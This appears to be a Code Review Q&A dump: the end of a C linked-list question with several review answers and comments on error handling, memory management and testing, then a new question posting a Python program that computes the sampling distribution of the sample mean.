int removeAtStart(node_t** head) {
if (*head) {
if ((*head)->next == NULL) {
printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");
}
int retval = (*head)->val;
node_t* next_node = (*head)->next;
free(*head);
*head = next_node;
return retval;
}
printf("Cannot remove from NULL.");
exit(1);
}
//removeAtIndex
int removeAtIndex(node_t** head, int n) {
if (*head) {
if (n == 0) {
return removeAtStart(head);
}
int i;
node_t* previous = *head;
node_t* to_remove = (*head)->next;
for (i = 0; i < n - 1; i++) {
if (previous->next == NULL) {
printf("Index out of range.");
exit(1);
}
previous = previous->next;
to_remove = to_remove->next;
}
previous->next = to_remove->next;
int retval = to_remove->val;
free(to_remove);
return retval;
}
printf("Cannot remove from NULL.");
exit(1);
}
//removeByValue
int removeByValue(node_t** head, int n) {
if (*head) {
if ((*head)->val == n) {
removeAtStart(head);
}
node_t* previous = *head;
node_t* current = (*head)->next;
while (previous->next != NULL) {
if (current->val == n) {
node_t* to_remove = current;
previous->next = current->next;
free(to_remove);
return n;
}
previous = previous->next;
current = current->next;
}
return NULL;
}
printf("Cannot remove from NULL.");
exit(1);
}
//deleteList
void deleteList(node_t** head) {
if (*head) {
while ((*head)->next != NULL) {
removeAtStart(head);
}
removeAtStart(head);
return;
}
printf("Cannot delete empty list.");
exit(1);
}
//tests
int main() {
node_t* my_list = (node_t*)malloc(sizeof(node_t));
if (my_list) { my_list->val = 1; my_list->next = NULL; }
printList(my_list);
//add to list
int i;
for (i = 2; i < 10; i++) {
addAtEnd(my_list, i);
}
printList(my_list);
//add to start
addAtStart(&my_list,0);
printList(my_list);
//add at index
addAtIndex(&my_list, 10, 0);
addAtIndex(&my_list, 10, 6);
addAtIndex(&my_list, 10, 12);
printList(my_list);
//remove from end
removeAtEnd(my_list);
printList(my_list);
//remove from start
removeAtStart(&my_list);
printList(my_list);
//remove at index
removeAtIndex(&my_list, 0);
printList(my_list);
removeAtIndex(&my_list, 4);
printList(my_list);
//remove by value (first instance)
removeByValue(&my_list, 1);
printList(my_list);
removeByValue(&my_list, 5);
printList(my_list);
removeByValue(&my_list, 9);
printList(my_list);
//delete list
deleteList(&my_list);
}
</code></pre>
|
[] |
[
{
"body": "<blockquote>\n<pre><code>typedef struct node {\n int val;\n struct node* next;\n} node_t;\n</code></pre>\n</blockquote>\n<p>Be careful with names - POSIX reserves all identifiers ending in <code>_t</code>, so there's potential for a clash here.</p>\n<hr />\n<blockquote>\n<pre><code> printf("Cannot add to NULL.");\n exit(1);\n</code></pre>\n</blockquote>\n<p>It's good to see some error checking. But some problems with this:</p>\n<ul>\n<li>Output should be complete lines (ending with <code>\\n</code>)</li>\n<li>We should be using the standard error stream, not standard output</li>\n<li>We need a way to disable the printing</li>\n<li>We don't want to <code>exit()</code> from an inner function like this, if the calling code could handle it better.</li>\n</ul>\n<hr />\n<p>Similarly, look at this error checking:</p>\n<blockquote>\n<pre><code> if (*head) {\n node_t* new_node = (node_t*)malloc(sizeof(node_t));\n if (new_node) {\n new_node->next = *head;\n new_node->val = val;\n }\n *head = new_node;\n return;\n }\n</code></pre>\n</blockquote>\n<p>It's good that we handle getting a null pointer from <code>malloc()</code>. But what happens when we do? We replace <code>head</code> with that null pointer, and leave no way to access or release the previous pointer that was there.</p>\n<p>We could implement the list a little differently to avoid the need for a non-null <code>head</code> element - have a think about how we could do that.</p>\n<hr />\n<blockquote>\n<pre><code> node_t* new_node = (node_t*)malloc(sizeof(node_t));\n</code></pre>\n</blockquote>\n<p>Because <code>malloc()</code> returns a <code>void*</code>, which can be assigned to any other kind of object pointer in C, there's no need for that cast. It's actually harmful, because it clutters the code, and could mask a failure to properly declare <code>malloc</code> (i.e. failing to <code>#include <stdlib.h></code>).</p>\n<p>Many of us consider good style to write</p>\n<pre><code> node_t* new_node = malloc(sizeof *new_node);\n</code></pre>\n<p>The application of <code>sizeof</code> to the dereferenced variable (rather than the type) can be more clearly seen to be the correct size when it's used in an assignment rather than an initialization:</p>\n<pre><code> current->next = malloc(sizeof *current->next);\n</code></pre>\n<hr />\n<p>Tests are better if they are <em>self-checking</em>. What we have:</p>\n<blockquote>\n<pre><code> //remove from end\n removeAtEnd(my_list);\n printList(my_list);\n \n //remove from start\n removeAtStart(&my_list);\n printList(my_list);\n</code></pre>\n</blockquote>\n<p>requires inspection and interpretation of the outputs. What we really want is a test program that exits with non-zero status if any of the tests fail.</p>\n<blockquote>\n<pre><code> assert(equal_elements(my_list, 4, {2,3,4,5}));\n\n //remove from end\n removeAtEnd(my_list);\n assert(equal_elements(my_list, 3, {2,3,4}));\n \n //remove from start\n removeAtStart(&my_list);\n assert(equal_elements(my_list, 3, {3,4}));\n</code></pre>\n</blockquote>\n<p>There are more sophisticated techniques than <code>assert()</code>, which can show actual and expected values at each failure - look up <strong>unit-test frameworks</strong> in your favourite online encyclopaedia!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T13:37:53.500",
"Id": "255503",
"ParentId": "255475",
"Score": "3"
}
},
{
"body": "<p><strong>Am I treating errors, exit codes, and warning messages appropriately?</strong></p>\n<p><strong>1)</strong>\nI see there is one warning from function <code>removeByValue</code></p>\n<blockquote>\n<p>warning: return makes integer from pointer without a cast [-Wint-conversion]</p>\n</blockquote>\n<p><code>int removeByValue(node_t** head, int n) {</code> returns <code>int</code>, but you are returning <code>NULL</code> after the <code>while</code> loop, which is not required.</p>\n<p>Also, for the below snippet,</p>\n<pre><code>int removeByValue(node_t** head, int n) {\n \n if (*head) {\n if ((*head)->val == n) {\n removeAtStart(head);\n }\n \n /* the rest of your code */\n \n exit(1);\n}\n</code></pre>\n<p>you should return after <code>removeAtStart(head);</code> else it will continue with the next set of statements which is not required.</p>\n<p>Check all functions once for the same comment.</p>\n<p><strong>2)</strong>\nThe below print is not really required in <code>removeAtStart</code> function, because it is possible that list can be empty, so just check head is <code>NULL</code> or not, then print either list is empty or list elements.</p>\n<pre><code>printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");\n</code></pre>\n<p><strong>3)</strong>\nAlso, use <code>if-else</code> conditions to test <code>true</code> / <code>false</code> scenarios, to avoid empty <code>return</code> statement.</p>\n<pre><code>//printList\nvoid printList(node_t* head) {\n if (head) {\n node_t* current = head;\n while (current != NULL) {\n printf("%d\\n", current->val);\n current = current->next;\n }\n printf("\\n");\n return;\n }\n printf("Cannot print an empty list.");\n exit(1);\n}\n</code></pre>\n<p><code>printList</code> can be better written as:</p>\n<pre><code>void printList(node_t* head) {\n \n if (head) {\n node_t* current = head;\n while (current != NULL) {\n printf("%d ", current->val);\n current = current->next;\n }\n printf("\\n");\n } else {\n printf("Cannot print an empty list.");\n }\n}\n</code></pre>\n<p><strong>4)</strong>\nFunctions <code>addAtEnd</code>, <code>addAtStart</code> both uses <code>malloc</code> to create new nodes and then use, it's kind of redundant functionality.</p>\n<p>Better write a function such as <code>node_t* createNode(int data)</code> or <code>node_t* createNode(void)</code> which internally just uses <code>malloc</code> to create a new node and assigns data (in case first method is used).</p>\n<p>I personally prefer <code>node_t* createNode(int data)</code></p>\n<pre><code>node_t* createNode(int data){\n node_t* newNode = NULL;\n // allocate memory for newNode\n newNode = malloc(sizeof *newNode);\n // check allocation is OK\n if(newNode){\n // store data\n newNode->val = data;\n // make next as NULL\n newNode->next = NULL;\n }\n // finally return newNode\n return newNode;\n}\n</code></pre>\n<p><strong>Is this code allocating and freeing memory in a responsible manner?</strong></p>\n<p><strong>5)</strong>\nThere is a problem in <code>removeAtEnd</code> and <code>removeAtIndex</code></p>\n<pre><code>//removeAtEnd \nint removeAtEnd(node_t* head) {\n if (head) {\n if (head->next == NULL) {\n printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");\n int retval = head->val;\n free(head);\n return retval;\n }\n</code></pre>\n<p>In the function <code>removeAtEnd</code> the changes you are doing to <code>head</code> are not reflected to your main function because they are local to <code>removeAtEnd</code>.</p>\n<p>When you do <code>free(head);</code> in <code>removeAtEnd</code> your <code>head</code> will be free of allocated memory, but in the <code>main</code> function the <code>head</code> ptr will still point to same location and accessing <code>head</code> after this function will yield you undefined results.</p>\n<p>What you should do is:</p>\n<pre><code>if (head->next == NULL) {\n printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");\n int retval = head->val;\n free(head);\n //either do this\n //head = NULL;\n //return head;\n\n // or do this\n return NULL;\n</code></pre>\n<p>The signature of your <code>removeAtEnd</code> should be changed to <code>node_t* removeAtEnd(..)</code></p>\n<p><strong>6)</strong>\n<code>removeAtIndex</code> when you traverse using <code>previous</code> and <code>to_remove</code> you are not checking whether <code>previous</code> is NULL or <code>to_remove</code> is <code>NULL</code>.</p>\n<p>Below statement may cause your program to crash in case if there are less number of nodes than the passed index <code>n</code>.</p>\n<pre><code>previous = previous->next;\nto_remove = to_remove->next;\n</code></pre>\n<p>In addition to checking your index is less than <code>n</code> also check for <code>previous</code> and\n<code>to_remove</code> pointer for <code>NULL</code>.</p>\n<p><strong>General Comments:</strong></p>\n<ul>\n<li>In your <code>main</code> function all of the functions you are calling are not collecting any return value, though they are returning some value.</li>\n<li>You should always collect the return value from functions and handle appropriately</li>\n<li>Get rid of <code>exit()</code> function in all places and use proper return value and handle that in caller.</li>\n<li>You can also think of implementing a menu-driven program using <code>do-while</code> and <code>switch</code>.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:27:27.780",
"Id": "504146",
"Score": "0",
"body": "I doubt that calling `exit` can produce a memory leak."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:30:29.320",
"Id": "504147",
"Score": "0",
"body": "@RolandIllig, not in all cases, just image if `malloc` is used before a calling a function which is using `exit`, if in the function `exit()` is hit then how can we free the memory allocated before the function call?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:32:04.637",
"Id": "504148",
"Score": "3",
"body": "Freeing the memory after `exit` is called is not the task of the program anymore. That has to be done by the hosting C implementation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:51:27.950",
"Id": "504149",
"Score": "0",
"body": "@RolandIllig, Got it, Corrected memory-leaks sentence, thanks for the point."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T13:39:36.090",
"Id": "255504",
"ParentId": "255475",
"Score": "3"
}
},
{
"body": "<p>When I looked at the first few lines of your code, I noticed that the code is reasonably concise and well written. That's what motivated me to go ahead and take the time to review all the rest as well.</p>\n<p>I'll start right from the top. Before starting the review, I just quickly glanced over the whole code, without reading carefully. Therefore, the following notes may be what a random first-time reader of your code thinks.</p>\n<pre class=\"lang-c prettyprint-override\"><code>#include <stdio.h>\n#include <stdlib.h>\n</code></pre>\n<p>That's a nice start, clean and simple. The standard headers are sorted alphabetically, as usual. I cannot say whether you did this intentionally since there are only 2 headers at all, which amounts for a 50:50 chance.</p>\n<pre class=\"lang-c prettyprint-override\"><code>typedef struct node {\n int val;\n struct node* next;\n} node_t;\n</code></pre>\n<p>Also clean and simple. You probably noticed that the standard C library provides many types named <code>something_t</code>, therefore you followed this pattern. In general, following existing practice is a good idea. For your own type names, you should choose a different pattern though. I don't think that any future C standard will define and reserve the name <code>node_t</code>, but still the type names ending in <code>_t</code> are an indicator that the type name comes from the Standard C Library or from POSIX.</p>\n<p>You can even choose <code>node</code> as the type name. Then you have both <code>struct node</code> and plain <code>node</code>. This is no problem at all since these two names live in completely separate namespaces and won't influence each other. (Well, <a href=\"https://youtrack.jetbrains.com/issue/CPP-22498\" rel=\"nofollow noreferrer\">unless you use JetBrain's CLion</a>, but that's a bug in CLion.)</p>\n<pre class=\"lang-c prettyprint-override\"><code>//printList\nvoid printList(node_t* head) {\n</code></pre>\n<p>There is no need to repeat the function name in a comment. If you want to have more than 1 empty line between function definitions, just use 2 empty lines here. That's what the Python Style Guide PEP8 considers good style, and it makes sense for C as well.</p>\n<p>If you describe the purpose of the function <code>printList</code> to another human, you will notice that the description sounds quite weird when you say:</p>\n<blockquote>\n<p><code>printList</code> takes a <em>list node</em> and prints all elements until the end.</p>\n</blockquote>\n<p>It just doesn't match that the function is called "do something with a list" but then doesn't take a "list" as its parameter, but a "list node".</p>\n<p>For singly linked lists, the list as a whole and the list node can be represented using the same underlying data type. Still, for human readers it's good to distinguish them.</p>\n<p>I would prefer to define a list type as well:</p>\n<pre class=\"lang-c prettyprint-override\"><code>typedef struct {\n node_t *head;\n} int_list;\n</code></pre>\n<p>Using this type, the function definition would become:</p>\n<pre class=\"lang-c prettyprint-override\"><code>void printList(int_list *list);\n</code></pre>\n<p>Granted, the word "list" appears quite often, but that's ok.</p>\n<p>Next topic. Since the function <code>printList</code> is not supposed to modify the list, you can declare this using the keyword <code>const</code>:</p>\n<pre class=\"lang-c prettyprint-override\"><code>void printList(const int_list *list);\n</code></pre>\n<p>This <code>const</code> doesn't make your code fool-proof though. It is mostly a hint to human readers. The compiler will prevent you from assigning to <code>list->head</code>, but assigning to <code>list->head->val</code> is still allowed since the keyword <code>const</code> only applies to a single <code>-></code>, not to all of them.</p>\n<p>Continuing with your original code:</p>\n<pre class=\"lang-c prettyprint-override\"><code>void printList(node_t* head) {\n if (head) {\n node_t* current = head;\n while (current != NULL) {\n</code></pre>\n<p>You have two places where you test whether a pointer is <code>NULL</code> or not. For <code>head</code> the compiler inserts the <code>!= NULL</code> implicitly, and for <code>current</code>, you wrote the <code>!= NULL</code> yourself. This is inconsistent. Choose either style and apply it consistently. I prefer to write the <code>!= NULL</code> explicitly, since that allows me to communicate to the human reader the following cases:</p>\n<pre class=\"lang-c prettyprint-override\"><code> if (cond)\n if (character != '\\0')\n if (integer != 0)\n if (floating != 0.0)\n if (pointer != NULL)\n</code></pre>\n<p>As you can see, there are several ways to write a zero. Omitting the <code>!= 0</code> is shorter, for sure, but also makes the code ambiguous for human readers.</p>\n<blockquote>\n<p>“Programs are meant to be read by humans and only incidentally for computers to execute.”</p>\n<p>― Structure and Interpretation of Computer Programs</p>\n</blockquote>\n<p>The main part of <code>printList</code> looks fine. But the end surprised me:</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf("Cannot print an empty list.");\n exit(1);\n</code></pre>\n<p>Why can the program not print an empty list? That's the easiest task of all.</p>\n<p>Continuing to the next function, <code>addAtEnd</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>void addAtEnd(node_t* head, int val) {\n if (head) {\n node_t* current = head;\n while (current->next != NULL) {\n current = current->next;\n }\n current->next = (node_t*)malloc(sizeof(node_t));\n if (current->next) {\n current->next->next = NULL;\n current->next->val = val;\n }\n return;\n</code></pre>\n<p>Before this <code>return</code>, if <code>current->next</code> is <code>NULL</code>, the memory could not be allocated. That is a surprising situation since the function's name promises that it adds something to the list, yet in this case it doesn't add anything. Even worse, there is no efficient way for the caller to test whether something was added or not. Therefore, it should be an error if memory allocation fails.</p>\n<p>There are many programs that wrap <code>malloc</code> in a simple fail-fast <code>xmalloc</code> function:</p>\n<pre class=\"lang-c prettyprint-override\"><code>void *xmalloc(size_t n)\n{\n void *ptr = malloc(n);\n if (ptr == NULL) {\n fprintf(stderr, "xmalloc: %s\\n", strerror(errno));\n exit(1);\n }\n return ptr;\n}\n</code></pre>\n<p>Continuing with the rest of <code>addAtEnd</code>:</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf("Cannot add to NULL.");\n exit(1);\n</code></pre>\n<p>This error message shows that you chose the wrong data type for the function parameter. Currently you pass <code>node_t *head</code>. But like in <code>addAtStart</code> below, you should make that a <code>node_t **</code>, so you can modify the passed in list head. Or use the <code>int_list</code> type I suggested above.</p>\n<p>The next function is <code>addAtStart</code>:</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf("Cannot add to NULL.");\n exit(1);\n</code></pre>\n<p>Why not? Just assign <code>*head = new_node</code>, and you're done.</p>\n<p>With all these error messages, I wonder how you add the first node to the list at all. Therefore I peeked to the <code>main</code> function and saw immediately that you cheated there. You added the first node by directly manipulating the members of <code>struct node</code>. That's exactly what you should not do. Accessing the struct members is the job of the functions <code>addAtEnd</code> and <code>addAtFront</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>void addAtIndex(node_t** head, int val, int n) {\n</code></pre>\n<p>The name <code>n</code> is often used for "the number of things", "the total", "the size", "the count". You are using it for an index here. You should rather use the name "index" here. If you are programming on a system <a href=\"https://man.netbsd.org/index.3\" rel=\"nofollow noreferrer\">with a predefined function of that same name</a>, you can abbreviate the name to <code>idx</code>, which is common.</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf("Index out of bounds.");\n exit(1);\n</code></pre>\n<p>Detecting out of bounds access is good programming style. You could additionally add the failed index to the error message, that's exactly what <code>printf</code> is for:</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf("Index %d out of bounds.", idx);\n</code></pre>\n<p>The next function is <code>removeAtEnd</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code> if (head) {\n if (head->next == NULL) {\n printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");\n</code></pre>\n<p>That's bad. The very basic concept of a list is that it is either empty or contains some elements. The simplest definition of a list is "either empty or a tuple consisting of (head, tail), where tail is a list".</p>\n<p>By forbidding an empty list, you are removing almost all usefulness from the code.</p>\n<p>I'm skipping a few functions now, which are similar to the above functions. Over to the main function.</p>\n<pre class=\"lang-c prettyprint-override\"><code>int main() {\n node_t* my_list = (node_t*)malloc(sizeof(node_t));\n</code></pre>\n<p>That's bad code. The function <code>main</code> is not supposed to know how a list is represented in memory. You should define a function <code>newList</code> that hides the implementation detail.</p>\n<pre class=\"lang-c prettyprint-override\"><code> if (my_list) { my_list->val = 1; my_list->next = NULL; }\n</code></pre>\n<p>As I already said above, you are cheating here. You should really allow lists to be empty.</p>\n<p>The test code looks well-designed and obvious.</p>\n<pre class=\"lang-c prettyprint-override\"><code> //remove by value (first instance)\n removeByValue(&my_list, 1);\n printList(my_list);\n removeByValue(&my_list, 5);\n printList(my_list);\n removeByValue(&my_list, 9);\n printList(my_list);\n</code></pre>\n<p>In the above lines, you should add test code that removes a value that occurs several times in the list. And you should add test code that tries to remove a value that the list doesn't contain.</p>\n<p>In summary, there are many small places to improve. But the overall design of defining short functions with good descriptive names is something you did really well, and that's usually the most crucial part. When I write code, I heavily rely on the names of functions, types and variables.</p>\n<p>So far for now. When you have updated your code (locally on your computer, not in this question), feel free to post a follow-up question with the updated code, referring to this question. There are some more things to cover, but that would have become too much for now. :)</p>\n<p>If you want to compare your list code to mine, I'm maintaining <a href=\"https://github.com/NetBSD/src/blob/trunk/usr.bin/make/lst.h\" rel=\"nofollow noreferrer\">this header</a> and <a href=\"https://github.com/NetBSD/src/blob/trunk/usr.bin/make/lst.c\" rel=\"nofollow noreferrer\">implementation</a> of a doubly-linked list. You will notice that I didn't implement <code>addAtIndex</code> and <code>removeAtIndex</code> since I don't need them and they are inefficient for linked lists.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:26:06.957",
"Id": "255505",
"ParentId": "255475",
"Score": "3"
}
},
{
"body": "<p>If you want your code to be expandable and utilized by future programs, migrating some of the code to an implementation C file would be apt and conventional. To utilize your program you would simply make a reference using the <code>#include</code> preprocessor directive.</p>\n<p>Your testing methods are simple but are prone to human error for obvious reasons. One method I see working is using a simple hash function to compare digests of lists. Concatenate the entire list to a string of numbers. This way you can compare massive lists at considerable speed. A simple implementation of Java's <code>hashCode()</code> function would be a great option. A link to the documentation is here: <a href=\"https://docs.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#hashCode%28%29\" rel=\"nofollow noreferrer\">https://docs.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#hashCode%28%29</a></p>\n<blockquote>\n<p>Returns a hash code for this string. The hash code for a String object is computed as\ns[0]*31^(n-1) + s<a href=\"https://docs.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#hashCode%28%29\" rel=\"nofollow noreferrer\">1</a>*31^(n-2) + ... + s[n-1]\nusing int arithmetic, where s[i] is the ith character of the string, n is the length of > the string, and ^ indicates exponentiation. (The hash value of the empty string is zero.)</p>\n</blockquote>\n<p>This implementation can also be used to see if your deleteList(..) function is functional, because the hash of an empty string (list, in this case) is 0.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T09:15:43.640",
"Id": "504228",
"Score": "0",
"body": "Java's hashCode() function is only for use when assigning bins in a hashtable. You can't use a 32-bit hash to accurately compare two objects - there's way too much chance for collisions (i.e. two different strings giving the same value of the hashcode). Java itself does not use hashCode() in its equals() implementation.\nAlso, calculating the String.hashCode() in Java is basically as complex as just comparing all the characters in two strings."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T14:54:32.440",
"Id": "255507",
"ParentId": "255475",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255505",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T21:15:41.250",
"Id": "255475",
"Score": "6",
"Tags": [
"beginner",
"c",
"linked-list"
],
"Title": "Linked list implementation, manipulation, and testing in C"
}
|
255475
|
<p>This program generates the entire sample distribution of the sample mean. The parent population has elements that have N distinct values. Samples of size n are drawn, with replacement. When N and n increase (especially N), the number of combinations becomes quite large, and the program can exhaust available RAM. I seek advice on how to improve the program's efficiency as well as to improve the user interface (and any other aspect that the reader finds). This program is not proprietary: If anyone can use it or build a better version, please do so, with acknowledgement of my authorship of this program.</p>
<pre><code>#!/usr/bin/env python
##Imports first##
##These Python modules are imported to facilitate analysis.
##
import itertools #used to generate combinations
import math #used for some computations
import statistics as st #used for some computations
import operator # used to compute powers
import functools #used to write functions
import time #time counter, can be removed
import matplotlib.pyplot as plt #used for graphing
import numpy as np #used for graphing
####USER INPUT IS PROMPTED BY THE COMMANDS IN THIS SECTION.####
##INPUT: Create a list of values.
#A function is created to convert integers and fractions to a
#decimal (floating-point) representation
##Function begins
##
def convert_to_float(frac_str):
try:
return float(frac_str)
except ValueError:
try:
num, denom = frac_str.split('/')
except ValueError:
return None
try:
leading, num = num.split(' ')
except ValueError:
return float(num) / float(denom)
if float(leading) < 0:
sign_mult = -1
else:
sign_mult = 1
return float(leading) + sign_mult * (float(num) / float(denom))
##Function ends
##
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
print("Enter the values of the N discrete elements in the population.")
print(" Enter these as either decimal, integer, or fractional values.")
print(" Mixed fractions are not allowed: 7/2, not 3 1/2.")
print(" The list should look like this: [-1,2.3,10/3,8].")
print(" >>>>> Do not put spaces between entered values.")
print("Suggestion: Create this input and the list of frequencies")
print(" below in a text file and cut-and-paste ")
print(" in order to reduce likelihood of entry error.")
print("")
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
valListInp = input("Enter a list of values, bracketed, like this [-1,2.3,10/3,8],\n with no spaces between entries: ")
valListStr = valListInp.strip('][').split(',')
valList = list(map(convert_to_float, valListStr))
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
##The length of this valList equals the number of distinct elements.
N=len(valList)
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
##INPUT: Create a list of relative frequencies, with N entries.
print(" ")
print("Now do the same for a list of relative frequencies.")
print("Each relative frequency in this list must be positive, and they must sum to 1.")
print("The calculated sum will appear below as a check that this sum is 1")
print(">>>>> Again, no spaces")
print("For example [0.2,0.3,2/5,.1].")
print("")
freqListInp = input("Enter a list of relative frequencies, bracketed like this [0.2,0.3,2/5,.1],\n with no spaces between entries: ")
freqListStr = freqListInp.strip('][').split(',')
freqList = list(map(convert_to_float, freqListStr))
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
##INPUT: Enter the sample size.
n = input("Enter the sample size, stated as an integer: ")
n=int(n)
print("= = = = = = = = = = = = = = = = =")
"""
USER INPUT ENDS HERE.
Do not change anything below unless you intend to revise the program.
"""
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
print("INPUT SUMMARY")
print(" The user-provided information follows:" )
print(" The entered values are ", valList)
print(" Their relative frequencies are ", freqList)
print(" Check: The relative frequencies sum to","%.4f" % sum(freqList))
print(" The number of distinct elements is N =", N)
print(" The sample size is n = ",n)
print("= = = = = = = = = = = = = = = = =")
print("")
print("Output follows. You will be prompted for options.")
##Compute the population mean
mu=0
for i in range(0,N):
mu = mu+valList[i]*freqList[i]
print("")
print("The population mean is ", "%.4f" % mu)
#Compute the population variance and standard deviation.
variance=0
for i in range(0,N):
variance = variance + freqList[i]*( valList[i] - mu)**2
sigma=variance**(1/2)
print("The population variance is ", "%.4f" % variance, "and")
print(" the population standard deviation is ", "%.4f" % sigma)
print(" ")
start_time = time.time()
"""
= = = = = = Analysis of the sample begins here. = = = = = =
Determine the number of combinations.
"""
C=math.factorial(N+n-1)/(math.factorial(N-1 )*math.factorial(n))
C = int(C)
print(C, "combinations will be generated.")
print(" ")
#Use itertools and to create a list of combinations, named combsList.
#First, generate combsList.
##This lists all combinations.
##Each combination will imply a value of xbar, stddev, etc.
##Some values of xbar, stddev, etc. will be generated by more than on combination.
##
combsList=list(itertools.combinations_with_replacement(valList,n))
print("")
## The next command produces a list that is used later.
## It does not produce any output from the program.
#Count the number of occurrences of each value
countList=[]
for i in range(0,C):
for j in range(0,N):
countList.append(combsList[i].count( valList[j]))
#Make the count list a nested list of C/n lists,
# each with n elements#
countList=[countList[i:i + len(valList) ] for i in range(0, len(countList), len(valList))]
#Create a list of C means (some may be repeated).
meansList=[]
for i in range(0,C):
meansList.append(st.mean(combsList[i][j] for j in range(0,n)) )
#Do the same for sample standard deviations (some may be repeated).
stdevList=[]
for i in range(0,C):
stdevList.append(st.stdev(combsList[i][j] for j in range(0,n)) )
#Do the same for sample variances (some may be repeated).
varianceList=[]
for i in range(0,C):
varianceList.append(st.variance(combsList[i][j] for j in range(0,n)) )
#The next list permsList is the number of permutations of each combination.
## For mechanical reasons, it is not in the yp list.
def f(i): #A function to create the values
global zz
zz=1 ## First create the denominator.
for j in range(0,N):
zz = zz*math.factorial(countList[i][j])
## Now divide the denominator into the numerator, n!
zz=math.factorial(n)/zz
return zz
permsList=[] #An empty list to which values are appended.
for i in range(0,C): #Appends the values
permsList.append(f(i))
#Now the probabilities. First a list of frequencies raised to powers.
raisedList=[]
for i in range(0,C):
for j in range(0,N):
raisedList.append(freqList[j]**countList[i][j])
#Turn the list into a nested list.
raisedList=[raisedList[i:i + N ] for i in range(0, len(raisedList), N)]
#Construct the probabilities list by multiplying the rows in raisedList
probList =[]
for i in range(0,C):probList.append(functools.reduce(operator.mul,raisedList[i],1))
#Next multiply probList and permsList values.
combProbList = []
for i in range(0,C):
combProbList.append(permsList[i]*probList[i])
stdevProbList = []
for i in range(0,C):
stdevProbList.append(permsList[i]*probList[i])
### MEANS, STANDARDARD DEVIATIONS, AND THEIR PROBABILITIES ###
#Use set() to create a sorted list of distinct sample means --
#no replications. Also determine the number of distinct means.
#
means = sorted( list(set(meansList)) )
M = len(means)
#Create a sorted list of sample variances.As above, no replications.
variances=[]
variances=sorted( list(set ( varianceList)))
#Create a sorted list of sample standard deviations
# As above, no replications. Also determine the number of distinct stdevs.
stdevs=[]
stdevs=sorted( list(set ( stdevList)))
S=len(stdevs)
# Probabilities for means
MprobSums=[0]*M
for j in range(0,M):
for i in range(0,C):
if means[j]==meansList[i]:
MprobSums[j] = MprobSums[j]+combProbList[i]
#Cumulative probabilities for means
McumProbSums=[MprobSums[0]]
for i in range(1,M):
McumProbSums.append(MprobSums[i] + McumProbSums[i-1])
# Standard deviations
SprobSums=[0]*S
for j in range(0,S):
for i in range(0,C):
if stdevs[j]==stdevList[i]:
SprobSums[j] = SprobSums[j]+combProbList[i]
ScumProbSums=[SprobSums[0]]
for i in range(1,S):
ScumProbSums.append(SprobSums[i] + ScumProbSums[i-1])
###Variance, just the probabilities, not the cumulative probabilities
VprobSums=[0]*S
for j in range(0,S):
for i in range(0,C):
if variances[j]==varianceList[i]:
VprobSums[j] = VprobSums[j]+combProbList[i]
##Accumulate the sum of xbar*freq and the sum of v*freq
xbar_freqList = []
for i in range(0, M):
xbar_freqList.append(means[i] * MprobSums[i])
V_freqList = []
for i in range(0, S):
V_freqList.append(variances[i] * VprobSums[i])
print("--- %s seconds ---" % (time.time() - start_time))
L = int(input("Enter the number of combinations to view: "))
if L > 0: print("The list shows the following for each of the first", L, "combinations: ")
if L > 0:print(" the run number, i (Run),")
if L > 0:print(" the implied mean the i-th combination (Mean), ")
if L > 0:print(" the probability of this combination (Prob), ")
if L > 0:print(" the number of permutations of the elements in this combination (Perms), and")
if L > 0:print(" the elements of this combination (Combination)." )
print("")
if L > 0:print("Run", " Mean", " Prob", " Perms", " Combination" )
for i in range(0,L):
print(i+1," ", "%.4f" % meansList[i] , "%.8f" % probList[i], " " "%.0f" % permsList[i] , " ", combsList[i] )
##print(i+1, "%.4f" % meansList[i] , "%.4f" % probList[i], "%.0f" % permsList[i] , *[f"{element:.4f}" for element in combsList[1]] )
print("")
print(M, "sample means and", S, "sample standard deviations ")
###print(" ", R, "sample range lengths, and", E, "distinct intervals")
print(" are generated and can be printed.")
print(" ")
print("Average values (means) of sample means and standard deviations:" )
print(" The average sample mean value is approximately", "%.4f" % sum(xbar_freqList))
print(" The average sample variance value is approximately", "%.4f" % sum(V_freqList))
print(" These are approximations due to rounding in the calculations of the")
print(" individual values of the sample mean and variance.")
print(" ")
## See https://docs.python.org/2/tutorial/floatingpoint.html
